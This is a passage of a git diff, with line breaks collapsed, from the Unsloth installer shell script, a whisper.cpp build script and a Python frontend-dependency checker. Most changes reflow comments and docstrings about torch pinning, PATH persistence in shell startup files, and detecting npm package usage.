runtime is not exposed yet, with /dev/dxg present but no ROCm runtime._wsl_ubu_ver=""[ -r /etc/os-release ] && _wsl_ubu_ver=$(. /etc/os-release 2>/dev/null; printf '%s' "${VERSION_ID:-}")if [ -e /dev/dxg ]; then@@ -5457,8 +4752,7 @@ case "$TORCH_INDEX_URL" insubstep " driver is current; or run unsloth/scripts/install_rocm_wsl_strixhalo.sh yourself."elsesubstep "AMD ROCm users: see https://docs.unsloth.ai/get-started/install-and-update/amd"- # Only when ROCm truly can't see the GPU: a detected-but-too-old- # ROCm (rocminfo works, wheels need 6.0+) has its own guidance.+ # Only when ROCm truly cannot see the GPU: a detected-but-too-old ROCm (rocminfo works, wheels need 6.0+) has its own guidance.if ! _has_amd_rocm_gpu && _amd_gpu_present_via_pci; thensubstep "An AMD GPU is on the PCI bus but ROCm cannot see it (no /dev/kfd," "$C_WARN"substep " rocminfo, or amd-smi). Install the ROCm kernel stack so /dev/kfd exists;"@@ -5482,11 +4776,7 @@ esactauri_log "STEP" "Installing PyTorch"_VENV_PY="$VENV_DIR/bin/python"-# A piped/standalone install.sh has no sibling requirements tree. Bootstrap only-# the Unsloth wheel so its canonical Darwin override becomes available before-# the first with-dependencies resolution; this avoids backtracking mlx-vlm and-# then repairing it in a later phase. No-torch has no such resolve; repository,-# local, and caller-configured installs already have an override and skip this.+# A piped or standalone install.sh has no sibling requirements tree. Bootstrap only the Unsloth wheel so its canonical Darwin override becomes available before the first with-dependencies resolution, avoiding backtracking mlx-vlm and then repairing it in a later phase. No-torch has no such resolve; repository, local and caller-configured installs already have an override and skip this._bootstrap_packaged_mlx_override() {[ "$OS" = "macos" ] && [ "$_ARCH" = "arm64" ] || return 0[ "$SKIP_TORCH" = false ] || return 0@@ -5525,14 +4815,7 @@ print(path if path.is_file() else '')_bootstrap_packaged_mlx_override-# A released unsloth wheel can pin an older torch (unsloth 2026.7.2 declares-# torch<2.11.0); a with-deps PyPI resolve then downgrades the whole trio,-# swapping the pinned +cuXXX/+rocm build for PyPI's default. The flavor guard-# below misses this (PyPI's torch 2.10 default is itself cu128-flavored), so-# freeze the trio via uv --overrides (overrides replace dependency requirements-# during resolution) while unsloth's other deps resolve normally. Sets-# _UNSLOTH_TORCH_OVERRIDES from the trio in the venv; every with-deps unsloth-# install (migrated and fresh) must call this before resolving and rm it after.+# A released unsloth wheel can pin an older torch (unsloth 2026.7.2 declares torch<2.11.0); a with-deps PyPI resolve then downgrades the whole trio, swapping the pinned +cuXXX/+rocm build for PyPI's default. The flavor guard below misses this, since PyPI's torch 2.10 default is itself cu128-flavored, so freeze the trio via uv --overrides while unsloth's other deps resolve normally. Sets _UNSLOTH_TORCH_OVERRIDES from the trio in the venv; every with-deps unsloth install must call this before resolving and rm it after._build_unsloth_torch_overrides() {_UNSLOTH_TORCH_OVERRIDES=""[ "$SKIP_TORCH" = false ] || return 0@@ -5546,10 +4829,7 @@ for _p in ('torch', 'torchvision', 'torchaudio'):" 2>/dev/null) || _torch_trio_pins=""case "$_torch_trio_pins" intorch==*)- # uv resolves an override's relative includes (-r nested.txt) against THAT file's dir,- # so merge beside the caller's override when they share one writable dir, else mktemp.- # Globbing is off for both walks below: uv reads the literal name, so an ov[1].txt- # would otherwise make them iterate a sibling ov1.txt.+ # uv resolves an override's relative includes (-r nested.txt) against THAT file's dir, so merge beside the caller's override when they share one writable dir, else mktemp. Globbing is off for both walks below: uv reads the literal name, so an ov[1].txt would otherwise make them iterate a sibling ov1.txt._ov_glob=oncase $- in *f*) _ov_glob=off ;; esacset -f@@ -5571,9 +4851,7 @@ for _p in ('torch', 'torchvision', 'torchaudio'):_UNSLOTH_TORCH_OVERRIDES=""if [ "$_ov_dir_ok" = 1 ] && [ -n "$_ov_dir" ] && [ -w "$_ov_dir" ]; then_UNSLOTH_TORCH_OVERRIDES="$_ov_dir/.unsloth-torch-overrides.$$.txt"- # 0600, as the mktemp fallback: the merge copies inherited requirements in, which- # can include an authenticated direct URL. The chmod is not redundant with the- # umask, as `: >` truncates a recycled-PID file without changing its mode.+ # 0600, as the mktemp fallback: the merge copies inherited requirements in, which can include an authenticated direct URL. The chmod is not redundant with the umask, as `: >` truncates a recycled-PID file without changing its mode.if (umask 077; : > "$_UNSLOTH_TORCH_OVERRIDES") 2>/dev/null; thenchmod 600 "$_UNSLOTH_TORCH_OVERRIDES" 2>/dev/null || trueelse@@ -5582,13 +4860,11 @@ for _p in ('torch', 'torchvision', 'torchaudio'):fi[ -n "$_UNSLOTH_TORCH_OVERRIDES" ] || _UNSLOTH_TORCH_OVERRIDES=$(mktemp)printf '%s\n' "$_torch_trio_pins" > "$_UNSLOTH_TORCH_OVERRIDES"- # --overrides replaces any UV_OVERRIDE env file, so fold its pins in; awk drops the- # inherited trio. tolower: a caller's "Torch<2.11" would be unsatisfiable to uv.+ # --overrides replaces any UV_OVERRIDE env file, so fold its pins in; awk drops the inherited trio. tolower: a caller's "Torch<2.11" would be unsatisfiable to uv.for _ov_file in ${UV_OVERRIDE:-}; do[ -f "$_ov_file" ] && awk '!(tolower($0) ~ /^[[:space:]]*torch(vision|audio)?([[:space:]<>=!~;@[]|$)/)' "$_ov_file" >> "$_UNSLOTH_TORCH_OVERRIDES"done- # `if`, not `[ ... ] && set +f`: last command of the arm, so under `set -e` a false- # test would make the whole function exit non-zero.+ # `if`, not `[ ... ] && set +f`: last command of the arm, so under `set -e` a false test would make the whole function exit non-zero.if [ "$_ov_glob" = on ]; then set +f; fi;;esac@@ -5888,8 +5164,7 @@ elsefifi-# Same probe as install.ps1: version() answers from whichever record the finder-# yields first, so a duplicate would be reported here as an ordinary version.+# Same probe as install.ps1: version() answers from whichever record the finder yields first, so a duplicate would be reported here as an ordinary version._installed_package_version_exit=0if _installed_package_version=$("$_VENV_PY" -c 'import sys@@ -5950,13 +5225,8 @@ if [ "$SKIP_TORCH" = false ] && [ -n "${TORCH_INDEX_URL:-}" ]; thenfifi+# manylinux 0.50.0 is the first with libbitsandbytes_xpu2025.so / _xpu2026.so, and nothing else here touches bitsandbytes on this index (both ROCm passes are gated on that family), so a migrated environment would keep a pre-XPU build and lose 4-bit QLoRA. Out here rather than in the install branches above: those are mutually exclusive, so a copy in the fresh arm never runs for a migrated env. --no-deps, since torch and numpy are already in. Best effort, like the Windows pass.# ── Intel XPU: bitsandbytes with XPU kernels ──-# manylinux 0.50.0 is the first with libbitsandbytes_xpu2025.so / _xpu2026.so, and nothing else-# here touches bitsandbytes on this index (both ROCm passes are gated on that family), so a-# migrated environment would keep a pre-XPU build and lose 4-bit QLoRA.-# Out here rather than in the install branches above: those are mutually exclusive, so a copy in-# the fresh arm never runs for a migrated env (which is how the ROCm passes ended up duplicated).-# --no-deps: torch and numpy are already in. Best effort, like the Windows pass.if [ "$SKIP_TORCH" = false ] && [ "$(_torch_index_url_leaf "${TORCH_INDEX_URL:-}")" = "xpu" ]; thensubstep "installing bitsandbytes with Intel XPU kernels..."run_install_cmd "install bitsandbytes (xpu)" uv pip install --python "$_VENV_PY" \@@ -5965,18 +5235,7 @@ if [ "$SKIP_TORCH" = false ] && [ "$(_torch_index_url_leaf "${TORCH_INDEX_URL:-}fi# ── CI only: overlay a source checkout over the package just installed ──-# Not a consumer knob: no flag, absent from --help, ignored unless-# UNSLOTH_CI_SOURCE_OVERLAY names a directory holding a pyproject.toml.-#-# The clean-machine legs run THIS script from a branch but install unsloth from PyPI,-# the consumer path, so everything Python-side (studio/setup.sh, setup.ps1,-# install_python_stack.py and every requirements/constraints file they reach via-# Path(__file__)) would be the released wheel's and a branch could not be validated. An-# editable overlay re-points `import studio` at the working tree, so the-# importlib.resources lookup below finds this ref's setup.sh. NOT --local: that also-# installs `unsloth-zoo @ git+https://...`, which genuinely needs the git these legs-# remove; editable + --no-deps resolves and clones nothing, so it survives git, cmake-# and the C/C++ compilers all being gone.+# Not a consumer knob: no flag, absent from --help, ignored unless UNSLOTH_CI_SOURCE_OVERLAY names a directory holding a pyproject.toml. The clean-machine legs run THIS script from a branch but install unsloth from PyPI, so everything Python-side would be the released wheel's and a branch could not be validated. An editable overlay re-points `import studio` at the working tree, so the importlib.resources lookup below finds this ref's setup.sh. NOT --local: that also installs `unsloth-zoo @ git+https://...`, which needs the git these legs remove; editable + --no-deps resolves and clones nothing.if [ -n "${UNSLOTH_CI_SOURCE_OVERLAY:-}" ]; thenif [ ! -f "$UNSLOTH_CI_SOURCE_OVERLAY/pyproject.toml" ]; thenecho "[ERROR] UNSLOTH_CI_SOURCE_OVERLAY is set to '$UNSLOTH_CI_SOURCE_OVERLAY' but there is no pyproject.toml there." >&2@@ -6074,8 +5333,7 @@ elsefiif [ "$_SETUP_EXIT" -eq 0 ]; then- # First: until this runs, anything that fails below reaches the exit trap, which would- # restore the previous environment over the one just installed.+ # First: until this runs, anything that fails below reaches the exit trap, which would restore the previous environment over the one just installed._commit_studio_venv_replacementtauri_clear_install_error "studio setup completed"fi@@ -6089,11 +5347,9 @@ if [ -d "$_shim_path" ] && [ ! -L "$_shim_path" ]; thenecho " Move or remove it manually, then re-run the installer." >&2exit 1fi-# why: -sfn is atomic and -n prevents descent into a symlink-to-directory at-# the shim path (the directory guard above already rejects a real directory).+# -sfn is atomic and -n prevents descent into a symlink-to-directory at the shim path (the directory guard above already rejects a real directory).if ! ln -sfn "$VENV_DIR/bin/unsloth" "$_shim_path" 2>/dev/null; then- # A reinstall rebuilds the environment at the same path, so an entry already resolving to- # this executable is the shim we were about to write: not a failed install.+ # A reinstall rebuilds the environment at the same path, so an entry already resolving to this executable is the shim we were about to write: not a failed install.if [ "$_shim_path" -ef "$VENV_DIR/bin/unsloth" ] 2>/dev/null; thensubstep "kept the existing shim at $_shim_path ($_LOCAL_BIN is not writable)"else@@ -6103,9 +5359,7 @@ if ! ln -sfn "$VENV_DIR/bin/unsloth" "$_shim_path" 2>/dev/null; thenfifi-# Is $2 one of the colon-separated entries of $1? Field splitting also globs, so pathname-# expansion is off for the walk and restored afterwards: a directory holding *, ? or [ would-# otherwise match an unrelated entry and the persistence would be skipped.+# Is $2 one of the colon-separated entries of $1? Field splitting also globs, so pathname expansion is off for the walk and restored afterwards: a directory holding *, ? or [ would otherwise match an unrelated entry and the persistence would be skipped._path_has_dir() {_phd_glob=oncase $- in *f*) _phd_glob=off ;; esac@@ -6121,25 +5375,18 @@ _path_has_dir() {return "$_phd_found"}-# fish reads none of the POSIX rc files, so an `export` line is a no-op for a fish user: the-# next session resolves neither uv nor the shim. conf.d is fish's own drop-in directory and-# fish_add_path is idempotent by design. ~/.config, not XDG_CONFIG_HOME, because that is where-# astral's installer put its own fish file.+# fish reads none of the POSIX rc files, so an `export` line is a no-op for a fish user: the next session resolves neither uv nor the shim. conf.d is fish's own drop-in directory and fish_add_path is idempotent by design. ~/.config, not XDG_CONFIG_HOME, because that is where astral's installer put its own fish file._persist_fish_path_dir() {_pfp_dir="$1"; _pfp_label="${2:-$1}"[ -n "${HOME:-}" ] || return 0_pfp_dir_conf="$HOME/.config/fish/conf.d"mkdir -p "$_pfp_dir_conf" 2>/dev/null || return 0_pfp_file="$_pfp_dir_conf/unsloth.fish"- # Single-quoted: an unquoted path with a space is two arguments to fish_add_path and- # neither exists. Inside fish single quotes only \\ and \' carry meaning.+ # Single-quoted: an unquoted path with a space is two arguments to fish_add_path and neither exists. Inside fish single quotes only \\ and \' carry meaning._pfp_quoted=$(printf '%s' "$_pfp_dir" | sed "s/\\\\/\\\\\\\\/g; s/'/\\\\'/g")- # The exact line we would write, not any occurrence of the directory: /opt/uv-old must not- # pass for /opt/uv, and fish reads none of the POSIX files that would otherwise cover it.+ # The exact line we would write, not any occurrence of the directory: /opt/uv-old must not pass for /opt/uv, and fish reads none of the POSIX files that would otherwise cover it.if ! grep -v '^[[:space:]]*#' "$_pfp_file" 2>/dev/null | grep -qxF "fish_add_path '$_pfp_quoted'"; then- # Same single-redirect, warning-not-failure contract as the POSIX arm. 2>/dev/null- # comes FIRST: redirections apply left to right, so the other order prints the- # shell's own "Permission denied" before the redirect can silence it.+ # Same single-redirect, warning-not-failure contract as the POSIX arm. 2>/dev/null comes FIRST: redirections apply left to right, so the other order prints the shell's own "Permission denied" before the redirect can silence it.if {echo "# Added by Unsloth installer"echo "fish_add_path '$_pfp_quoted'"@@ -6154,20 +5401,14 @@ _persist_fish_path_dir() {fi}-# A line that SETS PATH, as opposed to one that merely names the directory. The name boundary-# keeps PYTHONPATH and friends out; the three helpers are the common non-assignment spellings.+# A line that SETS PATH, as opposed to one that merely names the directory. The name boundary keeps PYTHONPATH and friends out; the three helpers are the common non-assignment spellings._PATH_LINE_RE='(^|[^[:alnum:]_])(PATH[[:space:]]*=|fish_add_path|pathmunge|path_helper)'-# Put a directory on the PATH of the NEXT shell, not just this process.-# $1 the directory $2 the rc-file literal (~/.local/bin keeps $HOME unexpanded, as it always-# has) $3 how to name it in the line we print $4 the grep that says it is already there-# $5 an explicit profile file, or empty to pick one the way this installer always has+# Put a directory on the PATH of the NEXT shell, not just this process. $1 the directory, $2 the rc-file literal (~/.local/bin keeps $HOME unexpanded, as it always has), $3 how to name it in the line we print, $4 the grep that says it is already there, $5 an explicit profile file or empty to pick one the way this installer always has._persist_login_path_dir() {_plp_dir="$1"; _plp_literal="$2"; _plp_label="$3"; _plp_pattern="$4"; _plp_file="${5:-}"[ -n "${HOME:-}" ] || return 0- # fish reads none of the POSIX rc files, so an `export` line there is a no-op for a fish- # user: the next session resolves neither uv nor the shim. conf.d is fish's own drop-in- # directory and fish_add_path is idempotent by design.+ # fish reads none of the POSIX rc files, so an `export` line there is a no-op for a fish user. conf.d is fish's own drop-in directory and fish_add_path is idempotent by design.if [ -z "$_plp_file" ] && [ "$(basename "${SHELL:-}")" = "fish" ]; then_persist_fish_path_dir "$_plp_dir" "$_plp_label"return 0@@ -6182,24 +5423,14 @@ _persist_login_path_dir() {elif [ -f "$HOME/.profile" ]; then_SHELL_PROFILE="$HOME/.profile"elif [ -w "$HOME" ]; then- # A fresh account can have no rc file at all: astral's installer used to create one,- # the pinned path does not. The append creates it, and every POSIX login shell reads- # ~/.profile.+ # A fresh account can have no rc file at all: astral's installer used to create one, the pinned path does not. The append creates it, and every POSIX login shell reads ~/.profile._SHELL_PROFILE="$HOME/.profile"fi[ -n "$_SHELL_PROFILE" ] || return 0- # Comments stripped first, then only lines that actually set PATH: a commented-out old export- # is not an active entry, and neither is `UV_CACHE=/opt/uv` or `PYTHONPATH=/opt/uv`. The name- # boundary is what keeps PYTHONPATH out. Taking any of them for a PATH entry leaves the next- # shell with no uv at all.+ # Comments stripped first, then only lines that actually set PATH: a commented-out old export is not an active entry, and neither is `UV_CACHE=/opt/uv` or `PYTHONPATH=/opt/uv`. The name boundary is what keeps PYTHONPATH out. Taking any of them for a PATH entry leaves the next shell with no uv at all.if ! grep -v '^[[:space:]]*#' "$_SHELL_PROFILE" 2>/dev/null \| grep -E "$_PATH_LINE_RE" | grep -qE "$_plp_pattern"; then- # One redirect, not three: a write dying midway would leave a dangling- # "# Added by Unsloth installer" with no export under it. A failure is a WARNING- # carrying the manual line, never a failed install: set -e would abort after the venv,- # llama.cpp and the shim are in place, and a read-only rc (NixOS, home-manager,- # chezmoi) is a supported setup.- # 2>/dev/null first, as in the fish arm.+ # One redirect, not three: a write dying midway would leave a dangling "# Added by Unsloth installer" with no export under it. A failure is a WARNING carrying the manual line, never a failed install: set -e would abort after the venv, llama.cpp and the shim are in place, and a read-only rc (NixOS, home-manager, chezmoi) is a supported setup. 2>/dev/null first, as in the fish arm.if {echo ''echo '# Added by Unsloth installer'@@ -6225,38 +5456,26 @@ if ! _path_has_dir "$_UNSLOTH_LOGIN_PATH" "$_LOCAL_BIN"; then # not on a new shfifi-# UV_INSTALL_DIR, UV_UNMANAGED_INSTALL, XDG_BIN_HOME and XDG_DATA_HOME all outrank ~/.local/bin,-# and astral's installer wrote a PATH line for whichever it picked, so replacing that installer-# means persisting its destination too. Both of astral's opt-outs are honoured. Not gated on the-# destination differing from ~/.local/bin: that IS the default, so gating there left every-# ordinary machine with the single-file write.+# UV_INSTALL_DIR, UV_UNMANAGED_INSTALL, XDG_BIN_HOME and XDG_DATA_HOME all outrank ~/.local/bin, and astral's installer wrote a PATH line for whichever it picked, so replacing that installer means persisting its destination too. Both of astral's opt-outs are honoured. Not gated on the destination differing from ~/.local/bin: that IS the default, so gating there left every ordinary machine with the single-file write.if [ -n "${_UNSLOTH_UV_BIN_DIR:-}" ] \&& [ -z "${UV_NO_MODIFY_PATH:-}" ] && [ -z "${UV_UNMANAGED_INSTALL:-}" ] \&& [ "$_STUDIO_HOME_REDIRECT" != "env" ]; thenif ! _path_has_dir "$_UNSLOTH_LOGIN_PATH" "$_UNSLOTH_UV_BIN_DIR"; then- # The rc line is double-quoted, so a path holding $, ` or " would be expanded or- # terminated by the shell that reads it. The ~/.local/bin literal is exempt: its- # $HOME is meant to stay unexpanded.+ # The rc line is double-quoted, so a path holding $, ` or " would be expanded or terminated by the shell that reads it. The ~/.local/bin literal is exempt: its $HOME is meant to stay unexpanded._uv_rc_literal=$(printf '%s' "$_UNSLOTH_UV_BIN_DIR" | sed 's/[\\"$`]/\\&/g')- # Anchored on both sides, so /opt/uv is not satisfied by /opt/uv-old and the match has- # to be a whole PATH entry rather than any occurrence of the text.+ # Anchored on both sides, so /opt/uv is not satisfied by /opt/uv-old and the match has to be a whole PATH entry rather than any occurrence of the text._uv_grep_esc=$(printf '%s' "$_UNSLOTH_UV_BIN_DIR" | sed 's/[].[\\()*+?{}|^$\/]/\\&/g')- # ...and the $HOME-relative spelling as well, because the shim block above writes- # `export PATH="$HOME/.local/bin:$PATH"` unexpanded. Without this the default install- # would add a second line for the same directory in the same file.+ # And the $HOME-relative spelling as well, because the shim block above writes `export PATH="$HOME/.local/bin:$PATH"` unexpanded. Without this the default install would add a second line for the same directory in the same file.case "$_UNSLOTH_UV_BIN_DIR" in"$HOME"/*)_uv_grep_esc="$_uv_grep_esc|\\\$HOME$(printf '%s' "${_UNSLOTH_UV_BIN_DIR#$HOME}" | sed 's/[].[\\()*+?{}|^$\/]/\\&/g')";;esac_uv_pattern="(^|[^[:alnum:]_.~/-])($_uv_grep_esc)([^[:alnum:]_.~/-]|\$)"- # Every startup file astral's installer wired, because it is the installer we replaced.- # Writing only the file for the shell that happens to be running leaves a bash user whose- # .bash_profile does not source .bashrc, or anyone who later switches shells, without uv.+ # Every startup file astral's installer wired, because it is the installer we replaced. Writing only the file for the shell that happens to be running leaves a bash user whose .bash_profile does not source .bashrc, or anyone who later switches shells, without uv.for _uv_prof in "$HOME/.profile" "$HOME/.bashrc" "$HOME/.bash_profile" \"$HOME/.bash_login" "${ZDOTDIR:-$HOME}/.zshrc" "${ZDOTDIR:-$HOME}/.zshenv"; do- # ~/.profile is created when absent, as astral does; the rest are only touched when- # the user already has them.+ # ~/.profile is created when absent, as astral does; the rest are only touched when the user already has them.if [ "$_uv_prof" = "$HOME/.profile" ] || [ -f "$_uv_prof" ]; then_persist_login_path_dir "$_UNSLOTH_UV_BIN_DIR" "$_uv_rc_literal" \"$_UNSLOTH_UV_BIN_DIR" "$_uv_pattern" "$_uv_prof"@@ -6322,9 +5541,7 @@ echo ""if [ "$_SKIP_AUTOSTART" != true ] && [ -t 1 ]; thenecho ""- # No readable answer (closed/EOF tty) defaults to no; Enter is still yes.- # Prompt only when something can answer: `test -r` passes on the unopenable- # /dev/tty found in containers, leaving a dangling question in the log.+ # No readable answer (closed/EOF tty) defaults to no; Enter is still yes. Prompt only when something can answer: `test -r` passes on the unopenable /dev/tty found in containers, leaving a dangling question in the log.if _can_read_tty; thenprintf " Start Unsloth Studio now? [Y/n] "read -r _reply </dev/tty || _reply="n"@@ -6336,11 +5553,7 @@ if [ "$_SKIP_AUTOSTART" != true ] && [ -t 1 ]; thenstep "launch" "starting Unsloth Studio..."_prepare_studio_uv_cache_for_launch- # Detach stdin from the piped web install's pipe: as a foreground server the- # studio would otherwise drain the rest of this piped script, leaving- # the shell to die parsing the now-truncated tail (`unexpected fi`).- # trap '' INT: wait for studio's shutdown instead of racing the prompt.- # Subshell resets INT so the child still gets Ctrl+C (no inherited ignore).+ # Detach stdin from the piped web install's pipe: as a foreground server the studio would otherwise drain the rest of this piped script, leaving the shell to die parsing the now-truncated tail (`unexpected fi`). trap '' INT waits for studio's shutdown instead of racing the prompt, and the subshell resets INT so the child still gets Ctrl+C.trap '' INT# `|| ...`: capture the exit code without set -e aborting first._LAUNCH_EXIT=0diff --git a/scripts/build_whisper_cpp.sh b/scripts/build_whisper_cpp.shindex 62f612eeff7..19fe6d9605d 100755--- a/scripts/build_whisper_cpp.sh+++ b/scripts/build_whisper_cpp.sh@@ -1,15 +1,12 @@#!/bin/sh# Build whisper.cpp's whisper-server for Unsloth's GGUF dictation engine.-## Installs into the managed Unsloth home so the backend's binary discovery# (core/inference/stt_ggml_sidecar.py::find_whisper_server_binary) picks it up:# <UNSLOTH_STUDIO_HOME>/whisper.cpp/build/bin/whisper-server (custom home)# ~/.unsloth/whisper.cpp/build/bin/whisper-server (default)-## Usage:# ./scripts/build_whisper_cpp.sh # build the pinned tag# WHISPER_CPP_TAG=v1.9.0 ./scripts/build_whisper_cpp.sh-## Requires: git, cmake, a C/C++ toolchain (the same prerequisites as a# llama.cpp source build). GPU backends are auto-detected by whisper.cpp's# CMake (Metal on macOS; set GGML_CUDA=1 to force a CUDA build on Linux).diff --git a/scripts/check_frontend_dep_removal.py b/scripts/check_frontend_dep_removal.pyindex 025023f0d6e..fa9e98f4507 100644--- a/scripts/check_frontend_dep_removal.py+++ b/scripts/check_frontend_dep_removal.py@@ -146,8 +146,7 @@ def all_decl_names(pkg: dict) -> set[str]:def _resolve_install_path(parent_path: str, name: str, pkgs: dict) -> str | None:- """Walk up the nested node_modules chain from `parent_path` to find where- `name` resolves, mirroring Node module resolution."""+ """Walk up the nested node_modules chain from `parent_path` to find where `name` resolves, mirroring Node module resolution."""parts = parent_path.split("/node_modules/")for i in range(len(parts), 0, -1):prefix = "/node_modules/".join(parts[:i])@@ -160,8 +159,7 @@ def _resolve_install_path(parent_path: str, name: str, pkgs: dict) -> str | Nonedef _deps_of(meta: dict) -> dict:- """Deps npm actually installs. Optional peers are skipped: they can't keep- a removed top-level dep reachable on their own."""+ """Deps npm actually installs. Optional peers are skipped: they can't keep a removed top-level dep reachable on their own."""out = {}for field in ("dependencies", "optionalDependencies"):out.update(meta.get(field) or {})@@ -174,8 +172,7 @@ def _deps_of(meta: dict) -> dict:def reachable_from_head(head_pkg: dict, lock: dict) -> set[str]:- """BFS the lockfile dep graph from `head_pkg`'s top-level deps. Returns the- surviving install paths, excluding stale (orphaned) lockfile entries."""+ """BFS the lockfile dep graph from `head_pkg`'s top-level deps. Returns the surviving install paths, excluding stale (orphaned) lockfile entries."""pkgs = lock.get("packages", {})if not pkgs:return set()@@ -200,14 +197,7 @@ def reachable_from_head(head_pkg: dict, lock: dict) -> set[str]:def classify(pkg: str, file: str, content: str) -> str | None:- """Return why `content` references `pkg`, or None.-- `content` may span multiple lines (multi-line imports/exports use re.DOTALL).- Bare-spec regexes word-boundary the package name so `foobar` doesn't match- `foo`. File-type gating restricts JS patterns to .ts/.tsx/.js/.jsx/.mjs/- .cjs/.mdx, CSS to .css/.scss/.sass, HTML to .html/.htm, so a snippet inside- a Python fixture or Markdown code block isn't mistaken for real npm usage.- """+ """Return why `content` references `pkg`, or None. `content` may span multiple lines (multi-line imports/exports use re.DOTALL). Bare-spec regexes word-boundary the package name so `foobar` does not match `foo`. File-type gating restricts JS patterns to .ts/.tsx/.js/.jsx/.mjs/.cjs/.mdx, CSS to .css/.scss/.sass, HTML to .html/.htm, so a snippet inside a Python fixture or Markdown code block is not mistaken for real npm usage."""if file in EXPECTED_NOISE_FILES:return None@@ -245,8 +235,7 @@ def classify(pkg: str, file: str, content: str) -> str | None:flags_dotall,):return "re_export"- # HTML script / link. Match pkg as a complete path segment so `/node_modules/foo-extra/...` is not treated as- # usage of `foo`.+ # HTML script / link. Match pkg as a complete path segment so `/node_modules/foo-extra/...` is not treated as usage of `foo`.html_pkg = rf"{esc}(?:/[^'\"#?]*)?(?=['\"#?])"if is_html and re.search(rf"<script[^>]*src\s*=\s*['\"][^'\"]*/{html_pkg}", content):return "html_script"@@ -265,8 +254,7 @@ def classify(pkg: str, file: str, content: str) -> str | None:return "template_literal"if is_script and re.search(rf"@import\(\s*['\"]{esc}{sub}['\"]\s*\)", content):return "jsdoc_import"- # Bare quoted-string fallback (config plugin lists, vite aliases, tsconfig paths, biome plugin arrays, shadcn- # registries).+ # Bare quoted-string fallback (config plugin lists, vite aliases, tsconfig paths, biome plugin arrays, shadcn registries).if not JS_LIKE_EXT.search(file):return None# pkg must be followed by `'`, `"`, or `/` so `foo` doesn't match `foobar`.@@ -276,8 +264,7 @@ def classify(pkg: str, file: str, content: str) -> str | None:def lockfile_root_sync(head_pkg: dict, head_lock: dict) -> list[str]:- """Warn if package-lock.json's <root> dep map disagrees with package.json- (i.e. npm install was not re-run)."""+ """Warn if package-lock.json's <root> dep map disagrees with package.json (i.e. npm install was not re-run)."""warnings = []if not head_lock:return warnings@@ -305,8 +292,7 @@ def lockfile_root_sync(head_pkg: dict, head_lock: dict) -> list[str]:def types_orphan_warnings(head_pkg: dict) -> list[str]:- """Flag @types/<X> deps where <X> is no longer declared in package.json,- which leaves dangling type packages."""+ """Flag @types/<X> deps where <X> is no longer declared in package.json, which leaves dangling type packages."""decl = set()for f in DEP_FIELDS:decl.update((head_pkg.get(f) or {}).keys())@@ -378,13 +364,7 @@ _PKG_JSON_OPAQUE_KEYS = {def package_json_extra_refs(pkg: dict, target: str) -> list[str]:- """Walk package.json (except dep declaration blocks) and return citations- for string values or dict keys equal to `target` (or `target/subpath`).-- Catches refs that public dep-checkers commonly miss: overrides/resolutions/- pnpm.overrides keys, pnpm.patchedDependencies, peerDependenciesMeta,- prettier, eslintConfig.extends, stylelint, babel, jest, commitlint, etc.- """+ """Walk package.json (except dep declaration blocks) and return citations for string values or dict keys equal to `target` (or `target/subpath`). Catches refs that public dep-checkers commonly miss: overrides/resolutions/pnpm.overrides keys, pnpm.patchedDependencies, peerDependenciesMeta, prettier, eslintConfig.extends, stylelint, babel, jest, commitlint, etc."""target_sub = target + "/"cites: list[str] = []@@ -413,8 +393,7 @@ def package_json_extra_refs(pkg: dict, target: str) -> list[str]:def build_bin_to_pkg(head_lock: dict) -> dict[str, str]:- """Map a binary name (e.g. 'vite', 'eslint') to its providing package,- from each lockfile entry's `bin` field."""+ """Map a binary name (e.g. 'vite', 'eslint') to its providing package, from each lockfile entry's `bin` field."""out: dict[str, str] = {}if not head_lock:return out@@ -433,17 +412,13 @@ def build_bin_to_pkg(head_lock: dict) -> dict[str, str]:_SCRIPT_TOKENIZE = re.compile(r"\s*(?:&&|\|\||;|\|(?!\|))\s*")-# Wrappers that delegate to a real CLI in the same shell word list; we skip past them and their flags to find the-# wrapped bin. Script-name wrappers (concurrently, npm-run-all, turbo, nx) are excluded: they reference script-# names, so the real bin lives in the target script's chunk we already tokenize.+# Wrappers that delegate to a real CLI in the same shell word list; we skip past them and their flags to find the wrapped bin. Script-name wrappers (concurrently, npm-run-all, turbo, nx) are excluded: they reference script names, so the real bin lives in the target script's chunk we already tokenize._SCRIPT_WRAPPERS = {"cross-env", "dotenv", "dotenvx", "env-cmd"}_ENV_PREFIX_RE = re.compile(r"^[A-Za-z_][A-Za-z0-9_]*=")def _next_real_bin(words: list[str], idx: int) -> str | None:- """Walk `words` from `idx`, peeling env-prefix tokens, the package-manager- runner (npx, pnpm exec, etc.), and known wrapper bins. Return the next- real CLI binary, or None. Bounded by the chunk's word count."""+ """Walk `words` from `idx`, peeling env-prefix tokens, the package-manager runner (npx, pnpm exec, etc.), and known wrapper bins. Return the next real CLI binary, or None. Bounded by the chunk's word count."""seen_wrappers: set[str] = set()while idx < len(words):while idx < len(words) and _ENV_PREFIX_RE.match(words[idx]):@@ -452,8 +427,7 @@ def _next_real_bin(words: list[str], idx: int) -> str | None:return Nonefirst = words[idx]- # Package-manager runner (npx/pnpm exec/yarn dlx/bunx): strip it and continue so the wrapped command- # re-enters the unwrap loop.+ # Package-manager runner (npx/pnpm exec/yarn dlx/bunx): strip it and continue so the wrapped command re-enters the unwrap loop.if first in {"npx", "pnpx", "bunx"} and idx + 1 < len(words):idx += 1continue@@ -489,13 +463,7 @@ def _next_real_bin(words: list[str], idx: int) -> str | None:def scripts_bin_refs(head_pkg: dict, bin_to_pkg: dict[str, str]) -> dict[str, list[str]]:- """Return `{package_name: ['scripts.X: cmd', ...]}` for every package- referenced via its bin name in package.json scripts.-- Each script is split on shell separators; `_next_real_bin()` unwraps env- prefixes, package-manager runners, and wrapper bins so `cross-env CI=1- biome check` credits `biome`. Uses shlex.split so quoted env values survive.- """+ """Return `{package_name: ['scripts.X: cmd', ...]}` for every package referenced via its bin name in package.json scripts. Each script is split on shell separators; `_next_real_bin()` unwraps env prefixes, package-manager runners, and wrapper bins so `cross-env CI=1 biome check` credits `biome`. Uses shlex.split so quoted env values survive."""import shlexscripts = head_pkg.get("scripts", {}) or {}@@ -524,8 +492,7 @@ def scripts_bin_refs(head_pkg: dict, bin_to_pkg: dict[str, str]) -> dict[str, lidef tsconfig_compiler_types_refs() -> set[str]:- """Return package names in tsconfig*.json compilerOptions.types arrays.- These are implicitly loaded by tsc and count as real uses."""+ """Return package names in tsconfig*.json compilerOptions.types arrays. These are implicitly loaded by tsc and count as real uses."""out: set[str] = set()base = REPO_ROOT / "studio/frontend"for name in ("tsconfig.json", "tsconfig.app.json", "tsconfig.node.json"):@@ -550,10 +517,7 @@ def 